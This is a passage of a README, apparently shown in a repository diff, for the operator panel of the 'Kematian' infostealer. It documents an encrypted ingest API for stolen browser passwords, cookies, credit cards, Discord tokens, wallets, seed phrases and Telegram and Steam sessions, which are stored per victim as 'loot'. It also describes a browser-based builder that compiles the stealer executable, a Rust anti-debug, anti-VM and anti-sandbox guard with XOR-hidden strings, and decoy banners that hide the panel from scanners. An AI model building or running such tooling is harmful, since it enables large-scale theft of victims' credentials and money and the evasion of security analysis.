||||
|
||||
## E2EE
|
||||
|
||||
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
|
||||
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
|
||||
the panel; only its **public key** is needed by the agent.
|
||||
|
||||
**The agent fetches that public key itself at runtime** — so at build time you
|
||||
only set the endpoint + ingest key. You never copy a key manually. The panel
|
||||
serves it over:
|
||||
|
||||
```http
|
||||
GET /e2ee/pub
|
||||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||||
```
|
||||
|
||||
Wire scheme (agent encrypts, panel decrypts):
|
||||
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
|
||||
Only the panel private key can decrypt the payload.
|
||||
|
||||
## Ingest API
|
||||
|
||||
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
|
||||
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
|
||||
decrypts and splits every category into its own SQLite table.
|
||||
|
||||
```http
|
||||
POST /api/ingest
|
||||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||||
Content-Type: application/json
|
||||
|
||||
{ "enc": "base64..." }
|
||||
```
|
||||
|
||||
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
|
||||
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
|
||||
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
|
||||
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
|
||||
else is flattened per row.
|
||||
|
||||
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
|
||||
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
|
||||
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
|
||||
`blobs` table, so they're persisted as a backup and downloadable from the UI.
|
||||
|
||||
## Privacy & hardening
|
||||
|
||||
The panel is not meant to be discovered or probed by randoms:
|
||||
|
||||
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
|
||||
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
|
||||
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
|
||||
ingress IPs outside your allowlist with 404.
|
||||
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
|
||||
window.
|
||||
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
|
||||
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
|
||||
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
|
||||
unrestricted (still gated by creds/rate-limit).
|
||||
|
||||
Additional env:
|
||||
|
||||
| Env var | Default | Purpose |
|
||||
|-----------------------|-------------------------------|------------------------------------------|
|
||||
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
|
||||
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
|
||||
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
|
||||
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
|
||||
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
|
||||
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
|
||||
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
|
||||
|
||||
## Wiring the agent
|
||||
|
||||
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
|
||||
(either edit the vars or use `final/build_final.bat`):
|
||||
|
||||
- `PanelEndpoint` – the panel's `/api/ingest` URL
|
||||
- `PanelAuth` – the `PANEL_INGEST_KEY`
|
||||
|
||||
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
|
||||
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
|
||||
the panel endpoint + auth key, injects them at build time, then restores sources.
|
||||
|
||||
## Web builder
|
||||
|
||||
The panel can build the agent entirely from the browser at **`/build`**:
|
||||
|
||||
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
|
||||
2. Enter a build name.
|
||||
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
|
||||
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
|
||||
runs `go build`, and drops the `.exe` in `builds/`.
|
||||
4. Watch the live log, then **Download** the fresh agent.
|
||||
|
||||
The server needs `go` installed (and the agent source tree present at
|
||||
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
|
||||
it's copied, patched, and built in a temp dir. Built files are kept under
|
||||
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
|
||||
|
||||
### Anti-analysis guard
|
||||
|
||||
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
|
||||
runs inside the injected DLL before the payload starts. It scores the environment
|
||||
and refuses to run on analysis hosts:
|
||||
|
||||
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
|
||||
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
|
||||
timing (breakpoint/single-step detection).
|
||||
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
|
||||
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
|
||||
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
|
||||
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
|
||||
|
||||
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
|
||||
The web builder recompiles the Rust extractor before each `go build`; the local
|
||||
`final/build_final.bat` does the same. `Cargo` must be installed and the
|
||||
`x86_64-pc-windows-gnu` target present.
|
||||
|
||||
## Pages
|
||||
|
||||
- `/` – dashboard with per-category stats + hosted-files count + recent clients
|
||||
- `/clients` – all reporting agents
|
||||
- `/client/<id>` – per-client data breakdown, link to its files
|
||||
- `/client/<id>/loot` – that client's hosted login files (wallet/Steam/Telegram)
|
||||
- `/client/<id>/loot/<id>/download` – download one hosted file
|
||||
- `/client/<id>/loot/zip` – download all of that client's files as one backup zip
|
||||
- `/loot` – every hosted file across all clients
|
||||
- `/build` – build a fresh agent from the browser (panel + Telegram config)
|
||||
- `/cat/<category>` – each data type on its own page with an icon
|
||||
- `/search` – search across passwords, cookies, tokens
|
||||
- `/api/raw/<category>` – raw JSON dump (admin auth required)
|
||||
|
||||
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
|
||||
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
|
||||
gaming, vpns.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user